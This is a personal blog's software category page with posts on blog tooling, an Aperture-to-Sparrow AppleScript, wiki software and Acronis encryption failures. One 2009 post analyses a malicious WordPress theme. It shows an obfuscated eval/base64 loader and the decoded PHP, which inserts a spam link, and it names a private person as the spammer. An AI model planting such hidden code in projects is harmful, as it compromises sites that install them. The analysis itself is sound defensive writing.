Blog, by category: software

A while back, Sharvil requested a quick overview of how I post stuff to my blog, so I thought I'd post a rundown of it.

At the base, I use a git repository to store files named entryNNNN.txt. Each has the basic format:

title: Meta post: How my blog works
author: travis johnson
date: 2012/07/27
category: software
content:
A while back, Sharvil requested a quick overview of how I post stuff to my blog, so I thought I'd post a rundown of it.
At the base, I use a git repository to store files named entryNNNN.txt. Each has the basic format:

To start a new post and fill in some of this, I have a script called 'newentry.sh’, which determines the latest entry number and adds one to get a new filename (eg, entry0081.txt).

The first pass of my script loops over the entryNNNN.txt files and generates the 'by date’ and 'by category’ pages, along with the long index, in the form of .jemdoc files. Then it calls jemdoc on each file to generate the .html files from the .jemdoc files. Finally, the files are all copied to the server. This is all managed by a makefile, so these steps amount to running 'make clean && make blog && make update.’ Of course, this is a bit of a pain too, so I added it as a post-commit hook in my git repository. Therefore, after I make some updates, I just check them in, and the rest is automatic.

Integrating Sparrow and Aperture/iPhoto (from 2012/04/13)

In my recent quest to take on digital photography, I've been using Apple's Aperture to store download my pictures and do basic manipulation on them. It's been working great, except that emailing is a pain because Apple hardcoded the email clients to:

So all I needed to do is replace /Applications/Aperture.app/Contents/PlugIns/Mail.applescript with the following script:

-- Mail from Sparrow.app instead of Mail.app
-- Travis Johnson (traviscj@traviscj.com)
on mail_images(email_subject, default_address, image_count, new_files, ¬
                new_captions, new_comments, cancel_string)
    try
        tell application "Sparrow"
            activate
            set theMessage to make new outgoing message with properties {¬
                subject:email_subject, ¬
                content:"Check out my sweet pictures!"}
            tell theMessage
                repeat with image_idx from 1 to image_count
                    set this_imagefile to item image_idx of new_files
                    set attachmentfilename to POSIX file this_imagefile
                    make new mail attachment with properties {¬
                        filename:attachmentfilename as alias}
                end repeat
                compose
            end tell

        end tell
    on error error_message number error_number
        log error_message & " " & error_number
        if the error_number is not -128 then
            tell application "Finder"
                beep
                display dialog error_message buttons {cancel_string} ¬
                    default button 1
            end tell
        end if
    end try
end mail_images

Now, magically, I can press the 'Email’ button in Aperture, and Sparrow pops up with a new email, and the proper file attached! Hooray!

I looked into doing the same thing with iPhoto; a slightly different proceedure is needed here. I opened /Applications/iPhoto.app/Contents/Resources/Scripts/Mail.scpt with Script Editor via the terminal:

$ open /Applications/iPhoto.app/Contents/Resources/Scripts/Mail.scpt

then pasted in the above code, clicked 'Compile’, then 'Save’. iPhoto then worked as expected, opening a new Sparrow message with the files attached.

tjtestharness - a language-agnostic DVCS unit-test/continuous integration tool (from 2012/03/26)

I've been wanting to have a way to visualize which unit tests(or sets of them) passed for a given commit, if for no other reason than the sense of accomplishment from watching boxes turn yellow, then green, as they pass tests. The trouble is, I write code in a lot of different languages for a lot of different projects. I also don't want to bother with running unit tests individually–I want them to run as I perform commits.

My main project right now is working on a fast quadratic programming(QP) solver for series of related QPs, and in turn using that QP solver as the basis for a sequential quadratic programming method with a penalty globalization. It's working okay, but there's a lot of levels to the project, and it's easy to make a change in one place in the code that has far-reaching effects on other parts. It's also got a very complicated structure for testing, because of the nature of nonlinear programming. Testing runs something like

So there's a lot of levels and layers and levers and settings. What was happening is that I would change some parameter and eventually it'd get checked into the repository, and that wouldn't play nice with other codes.

I realized that I wanted some unit testing to automate this testing process, and document how it should be run, and soforth. But I also wanted the video game-style insta-rewards vibe to it, along the lines of the Panic Status Board(albeit less professional.) I also didn't want to spend a ton of time on it. I planned out the interface and databases over some beers with my roommate one night and wrote the entire thing in Django the next evening. I wanted it to run automatically on every repository commit. I also wanted it to try to make some sense out of Python, MATLAB, and C, since I use all three extensively. It should also actually be able to build a project from scratch, and every build should run from nothing–this enforces the rule that the repository is self as self-contained as possible. Finally, I also wanted to be able to look back at the actual run log of that unit test and see how or why it failed(and also have instructions on which repo/commit to checkout to see the bug in action).

My basic idea was that I wanted some program that kept a database of projects I'm working on, displayed some commits from those projects, showed the status of any test_*.{exe,mat,py} commands it could run. Okay, so I need a table of projects, one of commits, and another of tests. Originally I built it that way, but I wasn't sure how to get columns uniformly figured out. So I decided to split the 'test’ table into 'Tests’ and 'TestResults’, which worked out nicely.

The other tricky part was figuring out how I should add commits to the database, and how tests should get run. I ended up writing a fairly nice script for the commits to put in .githookspost-commit, though it requires the kludgy 'git push origin master’ in the post-commit as well. This is causing a bit of trouble with modifying commits(ie, it breaks the other script and causes extra merges/commits.) The not-so-interesting side was the one that peeks into the database, grabs the 'test’ (which is basically just a shell-script to run), and runs it. It also pushes the data back to the database when it's done.

Django is a really amazing framework. The entire coding part of the project went together in about 8 hours. I'm still not happy with it. I've got a laundry list of stuff to add here:

tcjblog.py (from 2011/09/09)

I've now (for the most part) finished a working version of some software I've wanted to tackle for a while. I call it tcjblog.py. It's a blog platform built using jemdoc.py to format simple text files into nice looking HTML. What're the benefits of this, and features of tcjblog.py in general?

There's still a fair bit of work for it, but probably it's time to focus a bit on the content and less on the software, at least until it seems more pressing. This has been a great couple-afternoon project for me–a nice break from the almost 5000 lines of numerical/algorithms stuff in C I've done in the last couple of weeks.

It's worth noting that the static approach generates a fair number of files for this approach: one for each entry, one for each category, and one for each month, plus a tenth of the total number again for the index pages. So I use a makefile to manage all of it.

Wiki Problems (from 2009/07/21)

I really like the idea of having a wiki website. It's great to be able to share documents really easily, be able to edit stuff without logging in, track changes you've made, and so on.

I have also tried quite a few wiki setups, including MediaWiki(mostly at a job a while back and a spectacular success), MoinMoin, and PmWiki. However, each of them fell flat in a certain annoying way.

Mediawiki is very close to perfect. It a good(or at least, familar) interface for viewing and editing, and an amazing history to go along with it. Plugins are easy enough to deal with, and while I don't like PHP coding all that much, it certainly is where it's at with respect to ease of deployment. However, while the trust assumptions make sense for the encyclopedia-type data they are running, it makes little-to-no sense for how personal and research/course related materials should work.

MoinMoin and I also had a great start. The python was somehow more painful to deploy, but probably this can be attributed to my own inadequacies and laziness to thoroughly read the instructions. In my defense, my goal of any computer interaction has changed from 'Play with fun toys’ to 'Get real work done’, lately. Setup pains might be a O(1) dose of painfulness, and there's a lot to like here. MoinMoin's access control lists are perfectly executed, in my opinion. Some big issues remain though: Inconsistency with forward versions of the software(ie, everything I learned to get productive on an early version is junk for the latest and greatest), inability to edit sections of text(Mediawiki has this nailed), and, surprisingly, spam has been a huge issue on my personal site.

PmWiki was introduced to me by my dear friend Sharvil. It comes pretty close. The plugin structure here feels even easier, and it's an absolute cinch to install. I got math markup working very easily, and it seems pretty nice. The PmWiki philosophy is very similar to the latest Apple ad campaign, except their mantra would be: 'Yep, there's a plugin for that.’ This is all fine and good, except that it means that some things(users) are essentially an afterthought, and this complicates administration for the poor saps that have to use it. One exchange on their wiki suggested putting admin-vs-anonymous logic in the theme, which severely damaged the amount of trust I'd be willing to put in them.

Some more thoughts: I like how ReStructured Text looks in text and HTML-rendered formats, but I'm not slick with Python. Perhaps now is the time to get that way? But if MoinMoin is a pain to install due to Python layout, I suppose I couldn't do much better.

I suppose this is a long enough rant on the current state of Wikis. I have this strong urge to start coding this up and see how well I could do, but the reality is that Wiki software is very hard to do correctly. I haven't even addressed in any of this how database-driven to make this type of setup, because I'm not sure what the right mix is. So I'm trying hard to resist this urge. There's always something more pressing to work on than a Wiki framework that nobody but you is going to view, edit, or extend.

Netlib (from 2009/05/27)

Found: Wordpress Spam Virus in Theme files (from 2009/04/01)

Almost a month ago, I was helping my good buddy Beals get his Wordpress website set up. On looking close, I noticed something a little weird in a theme he had found(NOT Wordpress proper, to be clear):

D-69-91-134-36:black-abstract-20 tjohnson$ ls -alh *
-rw-r--r--  1 tjohnson staff  528 2008-07-24 08:35 404.php
-rw-r--r--  1 tjohnson staff 3.9K 2008-07-24 08:35 comments.php
-rw-r--r--  1 tjohnson staff 8.0K 2008-10-22 20:44 footer.php
-rw-r--r--  1 tjohnson staff  871 2008-10-22 10:10 functions.php
[more removed here]

As you can see, the footer and functions files are both modified much more recently than every other file, which seemed strange to me. So I took a look at the file:

[some basic stuff removed]
eval(gzinflate(base64_decode('pZ..[much removed here, it was about 300 bytes].f1HKQRx+ecX+wY=')));

Hrmm… that doesn't seem right. Why would someone base64 some stuff? (footer.php had MUCH longer string, about 8 kilobytes). I wrote a new file that printed it out instead of evaluating it, and got this(edited the website out.. they won't get my link):

add_action("edit_post","insert_theme_link");
function insert_theme_link() {
	global $wpdb;
	if($wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://nefariouswebsite.com/'")==0)
		wp_insert_link(array("link_name" => "Online University Courses", "link_url" => "http://nefariouswebsite.com/" ));
}

So this is a relatively well-behaved little Wordpress 'virus’(it needs your website to stay running), but still pretty uncalled for, and impossible to remove without editing the code. More fundamentally, it would not have been hard to have the code do something more devious.

An analysis of the footer.php file ended up taking almost 70 base64 decodes(again, !) to finally get to the meat of it, which ended up just being the footer attribution to the host of the (very dishonest) wordpress template repository that Beals found the theme at.

On a whim, I decided to whois the domain the link went to. Turns out it's owned by someone in New Jersey named Douglas Petrie. One Douglas Petrie appears to write TV stuff, this cutie seems to write spamming programs, and has been since at least 2006: Spamhuntress: Doug Petrie’s domains in spamrun. And to think, I was going to politely ask him if he knew his company was doing this stuff. What a jerk.

How common is this sort of thing? I've seen a couple of these sort of posts around, but not too many straight-out warnings about them. Also, a lot of them seem to revolve around plugins, not themes.

HMCP Set, TextMate, and RoR 2.0 (from 2009/02/06)

I found a great little LaTeX homework layout for typesetting math homeworks a while back, and I've meant to write it up for quite a while. It's from Harvey Mudd College's Mathematics Department, engineered to automatically satisfy the department guidelines on how homeworks should be laid out. They also have thesis and poster templates, but the homework installation proceedures and sty files are located on the Homework Class page. Their website also has extensive information on their computer resources. While basically useless for anyone not at Harvey Mudd, it is a model for how this sort of website should look. Everything is clearly detailed at the perfect level, along with suggestions not just for how to do certain tasks, but also when you might want to do something.

I tend to be a VIM guy for working with code, but for smaller scale LaTeX stuff(ie, homework writeups but not the 62-page monster I wrote for AMATH581), I've been using the TextMate program. It's a bit expensive at about $50, but it takes it down to 1 keystroke to recompile the LaTeX file and view it. It's also really good at working with directory hierachies. I believe I discovered it while toying with the programming language Ruby in their 15 minutes to a weblog screencast.

Turns out that the Ruby people have released a 2.0 15 minutes to a weblog screencast. This time they pull some punches(pasting code in), so it's cheating a little bit, but they get a blog with an admin interface, AJAX comments(with an HTML-redirected fallback), and an ATOM feed all tied into one app, which I have to say is impressive even when you have stacked the deck. I hate to give up on Python for web stuff since I'm using it for a lot of other stuff nowadays, but it's all pretty enticing. Find the video on the Ruby on Rails Screencast page.

Ubuntu Hacks: Flash, Java, e17 (from 2008/10/20)

This must be about the 1 millionth time someone's written a blog post about this, because I waded through a ton of them to get ones that worked. Which means someday, someone will be wading through 10 million websites trying to get their Flash, Java, and e17 working.

For the browser issues, I found this thread on the Ubuntu forums. In short, you download the first file listed(the Browser Install Script), untar it, and run it. It will download and install the 32-bit libraries, 32-bit browser, and plugins from the set of {Flash, Java, VLC}. The only trick then is rewriting your scripts to use firefox32 instead of just firefox.

To get e17 used to be a big pain. Even in Gentoo, you used to have to go to a lot of trouble to get e17 installed(I can't verify this at the moment, gentoo-wiki and gentoo-portage seem to be down). But it was really simple following these instructions: HOWTO: installation of e17 from SVN code

I'll post some screenshots or something later. It's pretty sweet looking. e17 has come a really long way.

Minor OS X Shell Shortcomings (from 2008/10/19)

In spite of the fact that a lot of people seem to loathe the colorized ls functionality, I sortof grew up on it(so to speak). OS X, by default, does not have this functionality(well, at least, GNU's –color option never works). I figured the quick and easy way to solve this was to install coreutils, but I found another option. It appears OSX included a version of ls that works with ls -G. The coreutils one is (by it's virtue as a GNU tool) probably more feature-driven, but realiasing it as <blockquote>alias ls='ls -G’</blockquote> is probably a little easier to swallow, and certainly faster if you're not a die-hard fan of some certain functionality in coreutils ls.

In other news, it finally really bugged me that OSX didn't have a watch command. There's sortof all kinds of stupidity about this floating around too, but I couldn't find a good way to get it without recompiling. The watch program resides in the procps package for Linux, and you can download it here. Once you've downloaded it, open a command window and type in:

tar xzf procps-3.2.7.tar.gz; cd procps-3.2.7
cat make.patch | patch
make watch; cp watch /usr/local/bin

And then enjoy your watchy-goodness. And maybe delete the tarball and the associated directory. Oh, and make.patch is there for ya.

Themes! (from 2008/10/15)

In all of my time with wordpress, I've pretty much stuck to the default themes, figuring that what I had to say was a bit more important than what I was doing with it. But then I came across one with some fluid dynamics going on… and I couldn't pass it up. Maybe someday I'll get around to throwing some of my own graphics up there, hehe. Enjoy!

iPhone 2.0 - Impressions and Favorites (from 2008/08/05)

I know that about every other iPhone owner has posted to their blog about this and almost a month ago already, but I’ll throw my own take into the mix.

I originally planned on waiting a while before installing the second major revision of the iPhone software, but Sharvil tried it almost immediately and told me that I needed to give it a shot. So, I finally upgraded it, and have not been disappointed. Some highlights:

Contact list has search! Sweet! Sad that it only searches the Name fields and not other things like addresses and notes. Maps and the GPS stuff are getting a lot of press, and they’re cool as always, though it seems very much like the old one, so it may be the case that the gain here is restricted to people with the 3g models.

Shizam is majorly cool. It uses some sort of algorithm to listen to a song and link that back to the song’s information, and allowing you to purchase it from the iTunes Store, watch it on YouTube. Remote is awesome. It lets you remote control your iTunes via wifi, and it sports a far better interface. I found came across this editorial about precisely this, called: Dear Apple: Please Make the iPhone’s Native Interface Like the Remote App. They definitely have a point here, I’d love to see those changes integrated into the standard iPod interface. * The Facebook app is impressive. It allows chats, way better photo support(drag scrolling, names placed over faces for a second then disappearing, a totally sweet comment interface), good integration with emailer and phone dialer. I’d like to see a way to update sections(ie, add a new favorite quote or interest), but this was clearly built as a more of a communications + photo tool rather than the more general purpose Facebook, whose sole purpose is to suck huge chunks of your life away, and it serves that purpose excellently.

PhoneSaber, a lightsaber program that makes appropriate noises and lets you switch colors at will. iPint - a program to let you enjoy some virtual brew. * iLight - a simple program to white the screen and maximize brightness, letting it function as a flashlight. It actually works quite well, too.

Johnson vs Acronis, Pt 2 (from 2008/08/04)

1. Completely useless log files. Error messages are crucial in applications. Acronis says ‘Error creating file’. This could mean: 1. I couldn’t resolve the FTP server’s hostname 2. I could resolve the hostname, but could not connect to the FTP port 3. I could resolve the hostname and connect, but I could not authenticate. 4. I could resolve, connect, authenticate, but I could not create a new file. 5. Any number of other things. I could not create a temporary file(Why? No permissions in Acronis’s temporary folder? No hard drive space? It already exists? The folder that should be the temporary folder doesn’t exist?)

Another error we’ve gotten a few times is ‘Failed to process pair script (some hash).’ While it might be useful to someone, it’s not really any help. A lot of the same stuff applies: Is the file corrupt? What’s wrong with it? Improper syntax? The configuration files are XML, they should be editable as such. Point being: Acronis, get your stuff together and write some real, honest error checking code. It’s boring code to write, but it’s boilerplate stuff, and basic. This is what you hire interns for. Please do so. 2. The GUI stinks. Everything is wizard based. This in itself isn’t so much of a problem, but it becomes one with their absolute awful support of stuff like, oh, say, remembering passwords. To see how this is an issue: Say I realize that I want maximum encryption on my backup archives. So, I load up the tasks list, click the one I want to change, click the ‘changed settings’ button. It asks me what I want to backup(2-3 screens), then where I want to back it up to. I tell it the FTP site, and it asks me for my login for that site, then allows me to navigate(keep in mind this is already stored in the configuration file I’m trying to edit, in some encrypted form(hopefully, though I would not bet 2bits on it)). Then, it asks me if I want to sign in to the FTP anonymously or use a username and password. Upon selecting non-anonymously, it asks me for the same username and password. Every single time you try to change any part of the configuration. 3. The command line stinks. There are just a couple of commands, including trueimagecmd and trueimagemnt, but both of them are completely inconsistant on file argument parsing: trueimagemnt uses the more standard UNIX conventions of -(shortopt)|–(longopt) (arg) while trueimagecmd uses the completely zany –(longopt):(arg). The command trueimagecmd allows a –verify command, but doesn’t include it in the runtime help or the manual page. None of this seems like too big of a deal, but Acronis is basically the only program that we actual require any GUI at all for on 2 of our 4 main servers. It’d be very nice to have backups and not need a GUI.

That ended up being a pretty long rant… but at least now I’ve probably got it out of my system for a while!

Johnson vs Acronis (from 2008/08/02)

The story goes something like this: Originally, we used external hard drives plugged in via USB to our servers to back up our servers. This worked well, except that we had two external drives and 7 servers. About this time I started working this job and immediately set up a MediaWiki website for storing documentation and a Mantis Bug Tracker website for storing information about ongoing projects–I think I’ll try to write a post about that at some point as well. Anyways, these two websites originally ran on my personal webserver in Prosser, but we decided to run them on a company-owned server instead, and that this new machine could act as both a backup server and a webserver for those two websites.

This presented a challenge, however. We chose a different physical location for the backup server to add some level of off-site storage, but we wanted to ensure it was properly encrypted. At first, we tried to use sshfs along with host-keys to authenticate our servers. This worked well for short connections, but due to either sshfs or network misbehavior, this proved completely unreliable for the kind of long-term(weeks long) connections we wanted to have between these machines. This in turn caused backups to fail, which is both highly frustrating and completely unacceptable.

Happily(we thought), Acronis released a new edition of the TrueImage software, Acronis TrueImage Echo. This supported both AES encryption and FTP storage. While SFTP would have been preferable, we decided that AES encryption along with a very minimal whitelist of IPs allowed to connect to FTP ports would be sufficient. In the process of testing this new setup out, I discovered that Acronis was failing to AES encrypt files transmitted via FTP. This is a major deal since AES is really the only reason that FTP was acceptable at all.

This is where the story gets really interesting. We contacted Acronis about this issue, and after an initial volley of ‘You must be doing something wrong’(a typical Acronis assumption, sadly) and subsequent, ‘Oh, um, heh, can you please send some more log files our way?’ After finally convincing them of the issue(which they did say they had verified) we heard nothing. Nothing for about three months. My old boss emailed them asking what the status was, and we were told the the fixes were forthcoming, though no hard deadlines of any kind were sent, and we have (again) not heard from them in over six weeks. Here is part of their actual response:

We have contacted our developers and they explained that the fix is one of the complex ones to implement. Currently we are doing our best to expedite the development.

According to our development team the case is still open which means the fix is not approved and will not be implemented in the coming update.

After their noncommital answers and our utter frustration, we reported the problem to several security websites, notably Secunia. Secunia immediately picked up on it, and after further description of the problem, set an initial disclosure date of July 23, 2008. Apparently, Acronis failed to respond to them as well, so Secunia emailed us back asking if we’d like to further delay the disclosure or release it immediately. We picked immediately. Secunia released the disclosure a couple of days ago, and it’s now available at the link referenced at the end of this post.

1. Failure to design a network backup with the realities of networks in mind. Implementing a backup client where the only options for data backup are FTP and SMB is not merely shameful, it’s irresponsible. Asymmetric key cryptography works, and it works well. SFTP is not an exotic protocol, it’s been a default part on nearly every Linux install for years. 2. Failure to design a robust encryption method. I’m not sure if their AES was tied directly into functions that were only called open writing a file to disk or what the failure here was, but something is completely amiss if one mode of operation correctly encrypts data and another mode fails to. Even if this was the case, an ethical choice without expending really any work is to add a dialog box warning of the situation. A simple, ‘Use of FTP and use of encryption are mutually exclusive, please choose FTP carefully. 3. Failure to identify major issues and deal with them appropriately. Acronis should have issued this advisory to all registered customers immediately upon verifying it. This is an easy enough problem for an administrator to work around, but they have to know about it first. They should have also fixed it in the four months since then. I’m not sure what they’ve been up to here. Saying that a fix is complicated is not an excuse for anything, ever. AES is complex, but it’s already been written, and it’s already been written in spite of it’s complexity. If your software is that complex, that’s your fault, not your paying customers’. If your developers are incapable and incompetent, that’s again not your paying customer’s fault, it’s yours.

In the end, our holdover solution until we can deploy a new solution(read that last part as: Until Travis can convince management to ditch Acronis in spite of the financial expenditure) is to set up a VPN with OpenVPN, only run our FTP on the backup server’s OpenVPN IP address, and completely discourage it’s use to anyone who will listen. Secunia Advisory 30856

Firefox PDF on OSX (from 2008/06/22)

June 3 was a fantastic day, though I didn’t know it at the time. The reason? My biggest bitch about Firefox has finally been fixed. The big problem is that Firefox’s OSX program has the default behavior of saving PDFs to Desktop and starting Preview with it. Which isn’t a huge problem, except that if you download the file several times, it just downloads a file with -N appended. This is sortof a pain because in college a lot of teachers call files hw5.pdf, which means that I pretty much have to go to the website each time, or look through about 5 files each time.

But no more. Someone FINALLY wrote an in-browser PDF viewer. This means no more downloading, no more pain. If Firefox’s success wasn’t based on shipping a very good HTML parser with a great extensible framework while stripping most unnecesary stuff, I would say that they should have included it in the standard Firefox. I guess I can let it slide, but it’s seriously a must-have tool for all OSX Firefox users.

Update Sept 25, 2011: The above link doesn't seem to work with recent versions of firefox. Schubert-it's Plugin-PDF seems to work pretty well. It's only free for academic and personal use, though.

Why can't someone write a decent, free/open source version of a stupid PDF plugin?

Cython (from 2008/05/09)

After I had finally convinced myself to get out of bed this morning to go to my ACMS seminar, I quickly checked my email and my heart sank a little. Today’s talk was on SAGE. Don’t have anything against SAGE, but I thought it was just a big pile of open source packages in a big, heavy install. Sorta cool, but worthless, in other words.

Turns out, I was pretty wrong about that. It is that, but it’s also 70k new lines of code that does a whole bunch of exciting stuff. Near the end of his talk, William Stein mentioned that they had created a new tool called Cython. (Well, extended Pyrex, but… whatever.)

Cython is pretty neat. It’s a compiler that takes Python code and outputs C code. This C code is in turn compiled by GCC into a shared library… which in turn can be accessed from standard python code. Which sounds like a lot of trouble for not much gain. Au contrair, amigo. Trivial changes from Python -> Cython give 10x improvements. Converting some Python lingos into slightly more C-like syntax gives 100x improvements. Even 1000x improvements are not unheard of. This is incredible stuff. It’s also really important to SAGE… it’s how they write in mostly python but maintain that speed.

Anyways, back to me. I’m pretty much a compiler dork, so this stuff gets me pretty excited. I went up and talked to him afterwards, and he told me that there’s money to be made with this stuff. Very, very exciting. I’m gonna start diving into it very soon, and I’m sure I’ll have more to say about it soon.

Vertigo (from 2008/03/12)

Someone finally caught on to the fact that on a lot of modern computers, we have a lot more horizontal space than vertical. Whoever it was, they must have also been miffed that they never seemed to have room for all of their firefox tabs. So, they made a vertical tab menu, which is actually pretty cool. The standard stuff (ctrl-tab) still works, which is convenient.

Python Playing (from 2007/12/28)

I’ve been playing around with Python a bit more over the break, mostly because I want to be lazy in my code-writing for the forseeable future, plus I’d like to give NumPy a shot, but I want to have a solid background before trying that. One thing that just has not gotten old yet is the ability to assign functions absolutely anywhere in python. You can pass them around like variables, put them in dictionaries, return them from functions, whatever. I mean, I lived in parenthesis for a while in my scheme class, so it’s not like I haven’t been exposed to it, but it’s still damn cool. You can do cool stuff like making a tuple of some index, some value, and the function to process the other two. That makes it so much easier to deal with various combinations of neat datastructures. Anyways, the book I’ve been reading is Dive Into Python, off diveintopython.org. I’m currently at about page 114 out of 327, and I’ve fairly faithfully read most of it up until that point. The format seems slightly frustrating to me, but it’s probably just because it’s such a departure from what a lot of books and tutorials use. It seems helpful and worthwhile in any case.

Cacti (from 2007/06/30)

So, rrdtool is pretty sweet, but it's somewhat of a pain to set up. So… we use Cacti. It's amazing. Supposedly it'll integrate with Nagios as well, and then all of this data will be at our fingertips. For now, I just set it up on my server that's probably going to go down shortly. In any case, I feel like this project is somewhat coming together. Nagios is great for what's going on right now, cacti needs a way to know what's going on right now–A match made in heaven, or something.

Later I'll probably get stuff running on mouradserver1. As well as the bug-tracking setup. As well as the gtd-php project–maybe. Or on my laptop or something.

Acronis TrueImage (from 2007/06/30)

What I need it to do: Tell the check_backupdisk script that it's actually running the backup (IE–don't bitch on nagios) and handle all the mountingumountingfscking that it currently does. I think I'll probably end up putting a wrapper script around it…. but we'll see.

MRTG (from 2007/06/30)

So, another day, another (minor) problem. I had connected to a server with KDE instead of our usual GNOME interface. Which probably would have been fine except that KDE had a screensaver that sucked up the CPU. Which also would have been fine, if it hadn't been a server that everyone else used. Oops. RRDtool and MRTG would have shown a CPU spike which I could have investigated.

RRDTool (from 2007/06/29)

I have apparently been missing out. There's a really neat little unix tool called 'rrdtool’ that uses a fixed-size database to look at how something changes over time. I think I'll use it to monitor server load… and possibly network traffic.